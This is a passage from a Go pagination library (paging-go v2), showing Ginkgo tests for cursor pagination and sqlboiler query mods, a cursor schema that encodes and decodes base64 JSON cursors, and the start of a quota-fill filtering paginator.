time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 155 | "id": "user-123", 156 | }, 157 | } 158 | 159 | params := paging.FetchParams{ 160 | Cursor: cursor, 161 | OrderBy: []paging.Sort{ 162 | {Column: "created_at", Desc: true}, 163 | {Column: "id", Desc: true}, 164 | }, 165 | } 166 | 167 | mods := sqlboiler.CursorToQueryMods(params) 168 | 169 | Expect(modTypeName(mods[0])).To(whereModMatcher()) 170 | }) 171 | 172 | It("should generate correct WHERE clause for ASC order", func() { 173 | cursor := &paging.CursorPosition{ 174 | Values: map[string]any{ 175 | "name": "John", 176 | "id": "user-456", 177 | }, 178 | } 179 | 180 | params := paging.FetchParams{ 181 | Cursor: cursor, 182 | OrderBy: []paging.Sort{ 183 | {Column: "name", Desc: false}, 184 | {Column: "id", Desc: false}, 185 | }, 186 | } 187 | 188 | mods := sqlboiler.CursorToQueryMods(params) 189 | 190 | Expect(mods).To(HaveLen(2)) 191 | Expect(modTypeName(mods[0])).To(whereModMatcher()) 192 | }) 193 | 194 | It("should handle single column", func() { 195 | cursor := &paging.CursorPosition{ 196 | Values: map[string]any{ 197 | "id": "user-789", 198 | }, 199 | } 200 | 201 | params := paging.FetchParams{ 202 | Cursor: cursor, 203 | OrderBy: []paging.Sort{ 204 | {Column: "id", Desc: false}, 205 | }, 206 | } 207 | 208 | mods := sqlboiler.CursorToQueryMods(params) 209 | 210 | Expect(mods).To(HaveLen(2)) 211 | Expect(modTypeName(mods[0])).To(whereModMatcher()) 212 | }) 213 | 214 | It("should handle three columns", func() { 215 | cursor := &paging.CursorPosition{ 216 | Values: map[string]any{ 217 | "created_at": time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), 218 | "name": "John", 219 | "id": "user-999", 220 | }, 221 | } 222 | 223 | params := paging.FetchParams{ 224 | Cursor: cursor, 225 | OrderBy: []paging.Sort{ 226 | {Column: "created_at", Desc: true}, 227 | {Column: "name", Desc: false}, 228 | {Column: "id", Desc: false}, 229 | }, 230 | } 231 | 232 | mods := sqlboiler.CursorToQueryMods(params) 233 | 234 | Expect(mods).To(HaveLen(2)) 235 | Expect(modTypeName(mods[0])).To(whereModMatcher()) 236 | }) 237 | }) 238 | }) 239 | 240 | var _ = Describe("ConvertValueForSQL", func() { 241 | Describe("Value Type Handling", func() { 242 | It("should handle time.Time values", func() { 243 | timestamp := time.Date(2024, 1, 1, 12, 30, 45, 0, time.UTC) 244 | 245 | cursor := &paging.CursorPosition{ 246 | Values: map[string]any{ 247 | "created_at": timestamp, 248 | "id": "user-123", 249 | }, 250 | } 251 | 252 | params := paging.FetchParams{ 253 | Cursor: cursor, 254 | OrderBy: []paging.Sort{ 255 | {Column: "created_at", Desc: true}, 256 | {Column: "id", Desc: true}, 257 | }, 258 | } 259 | 260 | mods := sqlboiler.CursorToQueryMods(params) 261 | 262 | // Should successfully create WHERE mod with time value 263 | Expect(mods).To(HaveLen(2)) 264 | }) 265 | 266 | It("should handle RFC3339 string values", func() { 267 | rfcString := "2024-01-01T12:30:45Z" 268 | 269 | cursor := &paging.CursorPosition{ 270 | Values: map[string]any{ 271 | "created_at": rfcString, 272 | "id": "user-123", 273 | }, 274 | } 275 | 276 | params := paging.FetchParams{ 277 | Cursor: cursor, 278 | OrderBy: []paging.Sort{ 279 | {Column: "created_at", Desc: true}, 280 | {Column: "id", Desc: true}, 281 | }, 282 | } 283 | 284 | mods := sqlboiler.CursorToQueryMods(params) 285 | 286 | // Should successfully create WHERE mod 287 | Expect(mods).To(HaveLen(2)) 288 | }) 289 | 290 | It("should handle integer values", func() { 291 | cursor := &paging.CursorPosition{ 292 | Values: map[string]any{ 293 | "age": 25, 294 | "id": "user-123", 295 | }, 296 | } 297 | 298 | params := paging.FetchParams{ 299 | Cursor: cursor, 300 | OrderBy: []paging.Sort{ 301 | {Column: "age", Desc: false}, 302 | {Column: "id", Desc: false}, 303 | }, 304 | } 305 | 306 | mods := sqlboiler.CursorToQueryMods(params) 307 | 308 | // Should successfully create WHERE mod 309 | Expect(mods).To(HaveLen(2)) 310 | }) 311 | 312 | It("should handle float64 values from JSON", func() { 313 | cursor := &paging.CursorPosition{ 314 | Values: map[string]any{ 315 | "score": 42.5, 316 | "id": "user-123", 317 | }, 318 | } 319 | 320 | params := paging.FetchParams{ 321 | Cursor: cursor, 322 | OrderBy: []paging.Sort{ 323 | {Column: "score", Desc: true}, 324 | {Column: "id", Desc: false}, 325 | }, 326 | } 327 | 328 | mods := sqlboiler.CursorToQueryMods(params) 329 | 330 | // Should successfully create WHERE mod 331 | Expect(mods).To(HaveLen(2)) 332 | }) 333 | }) 334 | }) 335 | -------------------------------------------------------------------------------- /cursor/paginator_test.go: -------------------------------------------------------------------------------- 1 | package cursor_test 2 | 3 | import ( 4 | "context" 5 | "time" 6 | 7 | "github.com/nrfta/paging-go/v2" 8 | "github.com/nrfta/paging-go/v2/cursor" 9 | 10 | . "github.com/onsi/ginkgo/v2" 11 | . "github.com/onsi/gomega" 12 | ) 13 | 14 | // mockFetcher creates a simple in-memory fetcher for testing cursor pagination 15 | func mockFetcher(allItems []*testUser) paging.Fetcher[*testUser] { 16 | return &testFetcher{allItems: allItems} 17 | } 18 | 19 | type testFetcher struct { 20 | allItems []*testUser 21 | } 22 | 23 | func (f *testFetcher) Fetch(ctx context.Context, params paging.FetchParams) ([]*testUser, error) { 24 | // Simple in-memory filtering based on cursor 25 | var result []*testUser 26 | startIdx := 0 27 | 28 | // If cursor exists, find where to start 29 | if params.Cursor != nil { 30 | if idVal, ok := params.Cursor.Values["id"]; ok { 31 | if id, ok := idVal.(string); ok { 32 | for i, u := range f.allItems { 33 | if u.ID == id { 34 | startIdx = i + 1 // Start after cursor position 35 | break 36 | } 37 | } 38 | } 39 | } 40 | } 41 | 42 | // Collect items 43 | for i := startIdx; i < len(f.allItems) && len(result) < params.Limit; i++ { 44 | result = append(result, f.allItems[i]) 45 | } 46 | 47 | return result, nil 48 | } 49 | 50 | func (f *testFetcher) Count(ctx context.Context, params paging.FetchParams) (int64, error) { 51 | return int64(len(f.allItems)), nil 52 | } 53 | 54 | var _ = Describe("Paginator", func() { 55 | var ( 56 | ctx context.Context 57 | schema *cursor.Schema[*testUser] 58 | users []*testUser 59 | fetcher paging.Fetcher[*testUser] 60 | paginator paging.Paginator[*testUser] 61 | ) 62 | 63 | BeforeEach(func() { 64 | ctx = context.Background() 65 | 66 | // Create test users 67 | users = []*testUser{ 68 | {ID: "user-1", Name: "Alice", Email: "alice@example.com", CreatedAt: time.Date(2024, 1, 1, 0, 0, 0, 0, time.UTC), Age: 25}, 69 | {ID: "user-2", Name: "Bob", Email: "bob@example.com", CreatedAt: time.Date(2024, 1, 2, 0, 0, 0, 0, time.UTC), Age: 30}, 70 | {ID: "user-3", Name: "Charlie", Email: "charlie@example.com", CreatedAt: time.Date(2024, 1, 3, 0, 0, 0, 0, time.UTC), Age: 35}, 71 | {ID: "user-4", Name: "Diana", Email: "diana@example.com", CreatedAt: time.Date(2024, 1, 4, 0, 0, 0, 0, time.UTC), Age: 40}, 72 | {ID: "user-5", Name: "Eve", Email: "eve@example.com", CreatedAt: time.Date(2024, 1, 5, 0, 0, 0, 0, time.UTC), Age: 45}, 73 | } 74 | 75 | // Create schema with all sortable fields 76 | schema = cursor.NewSchema[*testUser](). 77 | Field("created_at", "c", func(u *testUser) any { return u.CreatedAt }). 78 | Field("name", "n", func(u *testUser) any { return u.Name }). 79 | Field("email", "e", func(u *testUser) any { return u.Email }). 80 | FixedField("id", cursor.DESC, "i", func(u *testUser) any { return u.ID }) 81 | 82 | fetcher = mockFetcher(users) 83 | paginator = cursor.New(fetcher, schema) 84 | }) 85 | 86 | Describe("Basic functionality", func() { 87 | It("uses the default limit when no pageArgs.First is provided", func() { 88 | args := &paging.PageArgs{} 89 | 90 | page, err := paginator.Paginate(ctx, args) 91 | Expect(err).ToNot(HaveOccurred()) 92 | 93 | // Should return all 5 users (less than default 50) 94 | Expect(page.Nodes).To(HaveLen(5)) 95 | Expect(page.Metadata.Strategy).To(Equal("cursor")) 96 | }) 97 | 98 | It("parses the pageArgs correctly with cursor", func() { 99 | // First, get a cursor from the first page 100 | first := 2 101 | args := &paging.PageArgs{First: &first} 102 | 103 | page, err := paginator.Paginate(ctx, args) 104 | Expect(err).ToNot(HaveOccurred()) 105 | Expect(page.Nodes).To(HaveLen(2)) 106 | 107 | // Get the end cursor 108 | endCursor, _ := page.PageInfo.EndCursor() 109 | Expect(endCursor).ToNot(BeNil()) 110 | 111 | // Use it for next page 112 | nextArgs := &paging.PageArgs{ 113 | First: &first, 114 | After: endCursor, 115 | } 116 | 117 | nextPage, err := paginator.Paginate(ctx, nextArgs) 118 | Expect(err).ToNot(HaveOccurred()) 119 | Expect(nextPage.Nodes).To(HaveLen(2)) 120 | // Should start after user-2 121 | Expect(nextPage.Nodes[0].ID).To(Equal("user-3")) 122 | }) 123 | 124 | It("handles nil cursor gracefully", func() { 125 | first := 3 126 | args := &paging.PageArgs{First: &first} 127 | 128 | page, err := paginator.Paginate(ctx, args) 129 | Expect(err).ToNot(HaveOccurred()) 130 | 131 | Expect(page.Nodes).To(HaveLen(3)) 132 | Expect(page.Nodes[0].ID).To(Equal("user-1")) 133 | }) 134 | }) 135 | 136 | Describe("PageInfo", func() { 137 | It("creates a page info with correct metadata", func() { 138 | first := 2 139 | args := &paging.PageArgs{First: &first} 140 | 141 | page, err := paginator.Paginate(ctx, args) 142 | Expect(err).ToNot(HaveOccurred()) 143 | 144 | // TotalCount should return nil for cursor pagination 145 | totalCount, err := page.PageInfo.TotalCount() 146 | Expect(err).ToNot(HaveOccurred()) 147 | Expect(totalCount).To(BeNil()) 148 | 149 | // HasNextPage should be true (5 users, limit 2) 150 | hasNextPage, err := page.PageInfo.HasNextPage() 151 | Expect(err).ToNot(HaveOccurred()) 152 | Expect(hasNextPage).To(BeTrue()) 153 | 154 | // HasPreviousPage should be false (no cursor) 155 | hasPreviousPage, err := page.PageInfo.HasPreviousPage() 156 | Expect(err).ToNot(HaveOccurred()) 157 | Expect(hasPreviousPage).To(BeFalse()) 158 | 159 | // StartCursor should encode first item 160 | startCursor, err := page.PageInfo.StartCursor() 161 | Expect(err).ToNot(HaveOccurred()) 162 | Expect(startCursor).ToNot(BeNil()) 163 | 164 | // EndCursor should encode last item 165 | endCursor, err := page.PageInfo.EndCursor() 166 | Expect(err).ToNot(HaveOccurred()) 167 | Expect(endCursor).ToNot(BeNil()) 168 | }) 169 | 170 | It("indicates no HasNextPage when all items fetched", func() { 171 | first := 10 // More than we have 172 | args := &paging.PageArgs{First: &first} 173 | 174 | page, err := paginator.Paginate(ctx, args) 175 | Expect(err).ToNot(HaveOccurred()) 176 | 177 | hasNextPage, _ := page.PageInfo.HasNextPage() 178 | Expect(hasNextPage).To(BeFalse()) 179 | }) 180 | 181 | It("indicates HasPreviousPage when cursor is provided", func() { 182 | // Get cursor from first page 183 | first := 2 184 | args := &paging.PageArgs{First: &first} 185 | firstPage, _ := paginator.Paginate(ctx, args) 186 | endCursor, _ := firstPage.PageInfo.EndCursor() 187 | 188 | // Second page should have HasPreviousPage = true 189 | nextArgs := &paging.PageArgs{ 190 | First: &first, 191 | After: endCursor, 192 | } 193 | 194 | page, err := paginator.Paginate(ctx, nextArgs) 195 | Expect(err).ToNot(HaveOccurred()) 196 | 197 | hasPreviousPage, _ := page.PageInfo.HasPreviousPage() 198 | Expect(hasPreviousPage).To(BeTrue()) 199 | }) 200 | 201 | It("handles empty results", func() { 202 | emptyFetcher := mockFetcher([]*testUser{}) 203 | emptyPaginator := cursor.New(emptyFetcher, schema) 204 | args := &paging.PageArgs{} 205 | 206 | page, err := emptyPaginator.Paginate(ctx, args) 207 | Expect(err).ToNot(HaveOccurred()) 208 | 209 | startCursor, _ := page.PageInfo.StartCursor() 210 | Expect(startCursor).To(BeNil()) 211 | 212 | endCursor, _ := page.PageInfo.EndCursor() 213 | Expect(endCursor).To(BeNil()) 214 | 215 | hasNextPage, _ := page.PageInfo.HasNextPage() 216 | Expect(hasNextPage).To(BeFalse()) 217 | }) 218 | }) 219 | 220 | Describe("PaginateOption", func() { 221 | It("should use WithDefaultSize when First is nil", func() { 222 | args := &paging.PageArgs{} 223 | 224 | page, err := paginator.Paginate(ctx, args, paging.WithDefaultSize(3)) 225 | Expect(err).ToNot(HaveOccurred()) 226 | Expect(page.Nodes).To(HaveLen(3)) 227 | }) 228 | 229 | It("should cap page size with WithMaxSize", func() { 230 | first := 10 231 | args := &paging.PageArgs{First: &first} 232 | 233 | page, err := paginator.Paginate(ctx, args, paging.WithMaxSize(2)) 234 | Expect(err).ToNot(HaveOccurred()) 235 | Expect(page.Nodes).To(HaveLen(2)) 236 | }) 237 | 238 | It("should allow page size within MaxSize", func() { 239 | first := 3 240 | args := &paging.PageArgs{First: &first} 241 | 242 | page, err := paginator.Paginate(ctx, args, paging.WithMaxSize(5)) 243 | Expect(err).ToNot(HaveOccurred()) 244 | Expect(page.Nodes).To(HaveLen(3)) 245 | }) 246 | }) 247 | 248 | Describe("BuildConnection", func() { 249 | It("should build a connection with edges and nodes", func() { 250 | first := 3 251 | args := &paging.PageArgs{First: &first} 252 | 253 | page, err := paginator.Paginate(ctx, args) 254 | Expect(err).ToNot(HaveOccurred()) 255 | 256 | // Transform function (just return same user for testing) 257 | transform := func(u *testUser) (*testUser, error) { 258 | return u, nil 259 | } 260 | 261 | conn, err := cursor.BuildConnection(page, schema, args, transform) 262 | 263 | Expect(err).ToNot(HaveOccurred()) 264 | Expect(conn).ToNot(BeNil()) 265 | Expect(conn.Nodes).To(HaveLen(3)) 266 | Expect(conn.Edges).To(HaveLen(3)) 267 | 268 | // Verify first edge has cursor 269 | Expect(conn.Edges[0].Cursor).ToNot(BeEmpty()) 270 | Expect(conn.Edges[0].Node).To(Equal(users[0])) 271 | 272 | // Verify pageInfo is attached 273 | Expect(conn.PageInfo).ToNot(BeZero()) 274 | }) 275 | 276 | It("should handle empty results", func() { 277 | emptyFetcher := mockFetcher([]*testUser{}) 278 | emptyPaginator := cursor.New(emptyFetcher, schema) 279 | args := &paging.PageArgs{} 280 | 281 | page, err := emptyPaginator.Paginate(ctx, args) 282 | Expect(err).ToNot(HaveOccurred()) 283 | 284 | transform := func(u *testUser) (*testUser, error) { 285 | return u, nil 286 | } 287 | 288 | conn, err := cursor.BuildConnection(page, schema, args, transform) 289 | 290 | Expect(err).ToNot(HaveOccurred()) 291 | Expect(conn.Nodes).To(HaveLen(0)) 292 | Expect(conn.Edges).To(HaveLen(0)) 293 | }) 294 | }) 295 | }) 296 | -------------------------------------------------------------------------------- /cursor/schema.go: -------------------------------------------------------------------------------- 1 | package cursor 2 | 3 | import ( 4 | "encoding/base64" 5 | "encoding/json" 6 | "errors" 7 | "fmt" 8 | 9 | "github.com/nrfta/paging-go/v2" 10 | ) 11 | 12 | // Direction represents the sort direction for a field. 13 | type Direction bool 14 | 15 | const ( 16 | ASC Direction = false 17 | DESC Direction = true 18 | ) 19 | 20 | // fieldSpec defines a single sortable field in a schema. 21 | // It contains the column name, cursor key, value extractor, and configuration. 22 | type fieldSpec[T any] struct { 23 | name string // SQL column name: "posts.created_at" 24 | cursorKey string // Short key for cursor: "c" 25 | extractor func(T) any // Extract value from item 26 | isFixed bool // Fixed vs user-sortable 27 | direction *Direction // For fixed fields (nil for user-sortable) 28 | position int // Declaration order 29 | } 30 | 31 | // Schema defines the sortable and fixed fields for cursor pagination. 32 | // It enforces that cursor encoders and ORDER BY clauses match by providing 33 | // a single source of truth for field configuration. 34 | // 35 | // Schema solves several critical issues: 36 | // 1. Information leakage: Uses short cursor keys instead of column names 37 | // 2. Encoder/OrderBy mismatch: Enforces they match by design 38 | // 3. Dynamic sorting: Validates user sort choices and provides correct encoder 39 | // 4. Fixed fields: Automatically includes tenant_id, id in ORDER BY 40 | // 41 | // Example: 42 | // 43 | // var userSchema = cursor.NewSchema[*User](). 44 | // FixedField("tenant_id", cursor.ASC, "t", func(u *User) any { return u.TenantID }). 45 | // Field("name", "n", func(u *User) any { return u.Name }). 46 | // Field("created_at", "c", func(u *User) any { return u.CreatedAt }). 47 | // FixedField("id", cursor.DESC, "i", func(u *User) any { return u.ID }) 48 | type Schema[T any] struct { 49 | sortableFields map[string]*fieldSpec[T] // Map of column name to field spec 50 | fixedFields []*fieldSpec[T] // Fixed fields in declaration order 51 | allFields []*fieldSpec[T] // All fields in declaration order 52 | nextPosition int // Track declaration order 53 | } 54 | 55 | // NewSchema creates a new Schema for cursor pagination. 56 | func NewSchema[T any]() *Schema[T] { 57 | return &Schema[T]{ 58 | sortableFields: make(map[string]*fieldSpec[T]), 59 | fixedFields: make([]*fieldSpec[T], 0), 60 | allFields: make([]*fieldSpec[T], 0), 61 | nextPosition: 0, 62 | } 63 | } 64 | 65 | // Field adds a user-sortable field to the schema. 66 | // User-sortable fields can be specified in PageArgs.SortBy at runtime. 67 | // 68 | // Parameters: 69 | // - name: SQL column name (can be qualified: "posts.created_at") 70 | // - cursorKey: Short key for cursor encoding (e.g., "c") 71 | // - extractor: Function to extract the value from an item 72 | // 73 | // Example: 74 | // 75 | // schema.Field("name", "n", func(u *User) any { return u.Name }) 76 | func (s *Schema[T]) Field(name, cursorKey string, extractor func(T) any) *Schema[T] { 77 | spec := &fieldSpec[T]{ 78 | name: name, 79 | cursorKey: cursorKey, 80 | extractor: extractor, 81 | isFixed: false, 82 | direction: nil, 83 | position: s.nextPosition, 84 | } 85 | s.nextPosition++ 86 | 87 | s.sortableFields[name] = spec 88 | s.allFields = append(s.allFields, spec) 89 | 90 | return s 91 | } 92 | 93 | // FixedField adds a fixed field to the schema. 94 | // Fixed fields are always included in ORDER BY and cursors but cannot be 95 | // chosen by users at runtime. 96 | // 97 | // Parameters: 98 | // - name: SQL column name (can be qualified: "posts.id") 99 | // - direction: Sort direction (cursor.ASC or cursor.DESC) 100 | // - cursorKey: Short key for cursor encoding (e.g., "i") 101 | // - extractor: Function to extract the value from an item 102 | // 103 | // Declaration order matters: 104 | // - FixedField before Field: Prepended to ORDER BY (e.g., tenant_id for partitioning) 105 | // - FixedField after Field: Appended to ORDER BY (e.g., id for uniqueness) 106 | // 107 | // Example: 108 | // 109 | // schema.FixedField("id", cursor.DESC, "i", func(u *User) any { return u.ID }) 110 | func (s *Schema[T]) FixedField(name string, direction Direction, cursorKey string, extractor func(T) any) *Schema[T] { 111 | spec := &fieldSpec[T]{ 112 | name: name, 113 | cursorKey: cursorKey, 114 | extractor: extractor, 115 | isFixed: true, 116 | direction: &direction, 117 | position: s.nextPosition, 118 | } 119 | s.nextPosition++ 120 | 121 | s.fixedFields = append(s.fixedFields, spec) 122 | s.allFields = append(s.allFields, spec) 123 | 124 | return s 125 | } 126 | 127 | // EncoderFor validates the PageArgs and creates a Spec that implements CursorEncoder. 128 | // It ensures that: 129 | // 1. All sort fields in PageArgs.SortBy are valid (registered in schema) 130 | // 2. The encoder extracts values for all sort fields + fixed fields 131 | // 3. Short cursor keys are used (no information leakage) 132 | // 133 | // Returns an error if any sort field is invalid. 134 | func (s *Schema[T]) EncoderFor(pageArgs PageArgs) (paging.CursorEncoder[T], error) { 135 | var sortFields []paging.Sort 136 | 137 | // Validate user's sort choices 138 | if pageArgs != nil && pageArgs.GetSortBy() != nil { 139 | sortFields = pageArgs.GetSortBy() 140 | 141 | for _, sort := range sortFields { 142 | if _, exists := s.sortableFields[sort.Column]; !exists { 143 | return nil, fmt.Errorf("invalid sort field: %s (not registered in schema)", sort.Column) 144 | } 145 | } 146 | } 147 | 148 | // Create Spec with validated sort fields 149 | return &Spec[T]{ 150 | schema: s, 151 | sortFields: sortFields, 152 | fixedFields: s.fixedFields, 153 | }, nil 154 | } 155 | 156 | // BuildOrderBy constructs the complete ORDER BY clause including fixed fields. 157 | // Fixed fields declared before user-sortable fields are prepended. 158 | // Fixed fields declared after user-sortable fields are appended. 159 | // 160 | // Example: 161 | // 162 | // schema.FixedField("tenant_id", ASC, ...) // Declared first 163 | // schema.Field("name", ...) // User-sortable 164 | // schema.FixedField("id", DESC, ...) // Declared last 165 | // 166 | // BuildOrderBy([{Column: "name", Desc: true}]) 167 | // // Returns: [tenant_id ASC, name DESC, id DESC] 168 | func (s *Schema[T]) BuildOrderBy(userSorts []paging.Sort) []paging.Sort { 169 | // Find position bounds of user-sortable fields 170 | firstSortablePos, lastSortablePos := -1, -1 171 | for _, spec := range s.allFields { 172 | if !spec.isFixed { 173 | if firstSortablePos == -1 { 174 | firstSortablePos = spec.position 175 | } 176 | lastSortablePos = spec.position 177 | } 178 | } 179 | 180 | // Special case: No user-sortable fields registered (only fixed fields) 181 | if firstSortablePos == -1 { 182 | return s.fixedFieldsToSorts(func(*fieldSpec[T]) bool { return true }) 183 | } 184 | 185 | // Build result: prepend fixed fields before first sortable, then user sorts, then append fixed fields after last sortable 186 | result := s.fixedFieldsToSorts(func(spec *fieldSpec[T]) bool { return spec.position < firstSortablePos }) 187 | result = append(result, userSorts...) 188 | result = append(result, s.fixedFieldsToSorts(func(spec *fieldSpec[T]) bool { return spec.position > lastSortablePos })...) 189 | return result 190 | } 191 | 192 | // fixedFieldsToSorts converts fixed fields matching the predicate to Sort directives. 193 | func (s *Schema[T]) fixedFieldsToSorts(predicate func(*fieldSpec[T]) bool) []paging.Sort { 194 | var result []paging.Sort 195 | for _, spec := range s.fixedFields { 196 | if predicate(spec) { 197 | result = append(result, paging.Sort{ 198 | Column: spec.name, 199 | Desc: bool(*spec.direction), 200 | }) 201 | } 202 | } 203 | return result 204 | } 205 | 206 | // Spec is the runtime configuration for cursor encoding/decoding. 207 | // It implements CursorEncoder[T] and ensures encoder/OrderBy matching. 208 | type Spec[T any] struct { 209 | schema *Schema[T] 210 | sortFields []paging.Sort // User's chosen sorts 211 | fixedFields []*fieldSpec[T] // Schema's fixed fields 212 | } 213 | 214 | // Encode implements CursorEncoder.Encode. 215 | // It encodes the item using short cursor keys from the schema. 216 | func (s *Spec[T]) Encode(item T) (*string, error) { 217 | values := make(map[string]any) 218 | 219 | // Extract values for user-chosen sort fields 220 | for _, sort := range s.sortFields { 221 | spec := s.schema.sortableFields[sort.Column] 222 | if spec != nil { 223 | values[spec.cursorKey] = spec.extractor(item) 224 | } 225 | } 226 | 227 | // Extract values for fixed fields 228 | for _, spec := range s.fixedFields { 229 | values[spec.cursorKey] = spec.extractor(item) 230 | } 231 | 232 | // Encode to JSON then base64 233 | jsonBytes, err := json.Marshal(values) 234 | if err != nil { 235 | return nil, err 236 | } 237 | 238 | encoded := base64.StdEncoding.EncodeToString(jsonBytes) 239 | return &encoded, nil 240 | } 241 | 242 | // Decode implements CursorEncoder.Decode. 243 | // It decodes the cursor and maps short keys back to column names. 244 | func (s *Spec[T]) Decode(cursor string) (*paging.CursorPosition, error) { 245 | // Decode from base64 246 | jsonBytes, err := base64.StdEncoding.DecodeString(cursor) 247 | if err != nil { 248 | return nil, errors.New("invalid cursor: not base64") 249 | } 250 | 251 | // Decode JSON 252 | var shortKeyValues map[string]any 253 | if err := json.Unmarshal(jsonBytes, &shortKeyValues); err != nil { 254 | return nil, errors.New("invalid cursor: not JSON") 255 | } 256 | 257 | // Map short keys back to column names 258 | values := make(map[string]any) 259 | 260 | // Build reverse mapping: cursorKey -> columnName 261 | keyToColumn := make(map[string]string) 262 | for _, spec := range s.schema.allFields { 263 | keyToColumn[spec.cursorKey] = spec.name 264 | } 265 | 266 | // Map short keys to column names 267 | for shortKey, value := range shortKeyValues { 268 | if columnName, exists := keyToColumn[shortKey]; exists { 269 | values[columnName] = value 270 | } 271 | } 272 | 273 | return &paging.CursorPosition{Values: values}, nil 274 | } 275 | -------------------------------------------------------------------------------- /quotafill/quotafill.go: -------------------------------------------------------------------------------- 1 | package quotafill 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "fmt" 7 | "time" 8 | 9 | "github.com/nrfta/paging-go/v2" 10 | "github.com/nrfta/paging-go/v2/cursor" 11 | ) 12 | 13 | // Default configuration values 14 | const ( 15 | defaultMaxIterations = 5 16 | defaultMaxRecordsExamined = 100 17 | defaultTimeout = 3 * time.Second 18 | defaultPageSize = 50 19 | ) 20 | 21 | var defaultBackoffMultipliers = []int{1, 2, 3, 5, 8} 22 | 23 | // Wrapper adapts a fetcher with quota-fill filtering to implement the Paginator interface. 24 | type Wrapper[T any] struct { 25 | fetcher paging.Fetcher[T] 26 | filter paging.FilterFunc[T] 27 | schema *cursor.Schema[T] 28 | maxIterations int 29 | maxRecordsExamined int 30 | timeout time.Duration 31 | backoffMultipliers []int 32 | } 33 | 34 | // Option configures a quota-fill wrapper. 35 | type Option func(*config) 36 | 37 | // config holds wrapper configuration. 38 | type config struct { 39 | maxIterations int 40 | maxRecordsExamined int 41 | timeout time.Duration 42 | backoffMultipliers []int 43 | } 44 | 45 | func WithMaxIterations(n int) Option { 46 | return func(c *config) { 47 | c.maxIterations = n 48 | } 49 | } 50 | 51 | func WithMaxRecordsExamined(n int) Option { 52 | return func(c *config) { 53 | c.maxRecordsExamined = n 54 | } 55 | } 56 | 57 | func WithTimeout(d time.Duration) Option { 58 | return func(c *config) { 59 | c.timeout = d 60 | } 61 | } 62 | 63 | func WithBackoffMultipliers(multipliers []int) Option { 64 | return func(c *config) { 65 | c.backoffMultipliers = multipliers 66 | } 67 | } 68 | 69 | // Safeguard identifiers returned in Metadata.SafeguardHit 70 | const ( 71 | safeguardTimeout = "timeout" 72 | safeguardMaxRecords = "max_records" 73 | safeguardMaxIterations = "max_iterations" 74 | ) 75 | 76 | // getMultiplier returns the backoff multiplier for the given iteration. 77 | func (w *Wrapper[T]) getMultiplier(iteration int) int { 78 | return w.backoffMultipliers[min(iteration, len(w.backoffMultipliers)-1)] 79 | } 80 | 81 | // New creates a quota-fill paginator that adapts a fetcher with filtering. 82 | // The schema parameter provides both the cursor encoder and sort ordering, 83 | // ensuring they are always synchronized. 84 | // 85 | // Page size limits are configured per-request via Paginate() options: 86 | // 87 | // paginator := quotafill.New(fetcher, filter, schema, 88 | // quotafill.WithMaxIterations(10), 89 | // ) 90 | // result, _ := paginator.Paginate(ctx, args, paging.WithMaxSize(100)) 91 | func New[T any]( 92 | fetcher paging.Fetcher[T], 93 | filter paging.FilterFunc[T], 94 | schema *cursor.Schema[T], 95 | opts ...Option, 96 | ) paging.Paginator[T] { 97 | cfg := &config{ 98 | maxIterations: defaultMaxIterations, 99 | maxRecordsExamined: defaultMaxRecordsExamined, 100 | timeout: defaultTimeout, 101 | backoffMultipliers: defaultBackoffMultipliers, 102 | } 103 | 104 | for _, opt := range opts { 105 | opt(cfg) 106 | } 107 | 108 | return &Wrapper[T]{ 109 | fetcher: fetcher, 110 | filter: filter, 111 | schema: schema, 112 | maxIterations: cfg.maxIterations, 113 | maxRecordsExamined: cfg.maxRecordsExamined, 114 | timeout: cfg.timeout, 115 | backoffMultipliers: cfg.backoffMultipliers, 116 | } 117 | } 118 | 119 | func (w *Wrapper[T]) Paginate(ctx context.Context, args *paging.PageArgs, opts ...paging.PaginateOption) (*paging.Page[T], error) { 120 | startTime := time.Now() 121 | 122 | timeoutCtx, cancel := context.WithTimeout(ctx, w.timeout) 123 | defer cancel() 124 | 125 | // Apply per-request page size config 126 | pageConfig := paging.ApplyPaginateOptions(args, opts...) 127 | requestedSize := pageConfig.EffectiveLimit(args) 128 | targetSize := requestedSize + 1 129 | 130 | state := &paginationState[T]{ 131 | currentCursor: args.GetAfter(), 132 | } 133 | 134 | for state.needsMore(targetSize) && state.iteration < w.maxIterations { 135 | safeguard := w.fetchIteration(timeoutCtx, args, targetSize, state) 136 | if state.lastError != nil { 137 | return nil, state.lastError 138 | } 139 | if safeguard != "" { 140 | state.safeguardHit = stringPtr(safeguard) 141 | break 142 | } 143 | } 144 | 145 | if state.iteration >= w.maxIterations && len(state.filteredItems) < targetSize { 146 | state.safeguardHit = stringPtr(safeguardMaxIterations) 147 | } 148 | 149 | return w.buildResult(state, args, requestedSize, startTime), nil 150 | } 151 | 152 | // paginationState tracks state across fetch iterations. 153 | type paginationState[T any] struct { 154 | filteredItems []T 155 | examinedCount int 156 | iteration int 157 | currentCursor *string 158 | safeguardHit *string 159 | lastError error 160 | noMoreData bool 161 | } 162 | 163 | func (s *paginationState[T]) needsMore(targetSize int) bool { 164 | return len(s.filteredItems) < targetSize && !s.noMoreData 165 | } 166 | 167 | func (w *Wrapper[T]) fetchIteration( 168 | ctx context.Context, 169 | args *paging.PageArgs, 170 | targetSize int, 171 | state *paginationState[T], 172 | ) string { 173 | select { 174 | case <-ctx.Done(): 175 | return safeguardTimeout 176 | default: 177 | } 178 | 179 | remaining := targetSize - len(state.filteredItems) 180 | batchSize := remaining * w.getMultiplier(state.iteration) 181 | fetchSize := batchSize + 1 182 | 183 | // Cap fetch size to remaining examination budget 184 | maxAllowed := w.maxRecordsExamined - state.examinedCount 185 | if fetchSize > maxAllowed { 186 | if maxAllowed < 2 { 187 | // Need at least 2 records for N+1 pattern (1 to return, 1 for hasNext) 188 | // If budget doesn't allow this, trigger safeguard 189 | return safeguardMaxRecords 190 | } 191 | // Cap the fetch to remaining budget while maintaining N+1 pattern 192 | fetchSize = maxAllowed 193 | batchSize = fetchSize - 1 194 | } 195 | 196 | // Get encoder from schema for the current args 197 | var cursorPos *paging.CursorPosition 198 | if state.currentCursor != nil && w.schema != nil { 199 | encoder, err := w.schema.EncoderFor(argsForEncoder(args)) 200 | if err != nil { 201 | state.lastError = fmt.Errorf("get encoder (iteration %d): %w", state.iteration+1, err) 202 | return "" 203 | } 204 | 205 | cursorPos, err = encoder.Decode(*state.currentCursor) 206 | if err != nil { 207 | state.lastError = fmt.Errorf("decode cursor (iteration %d): %w", 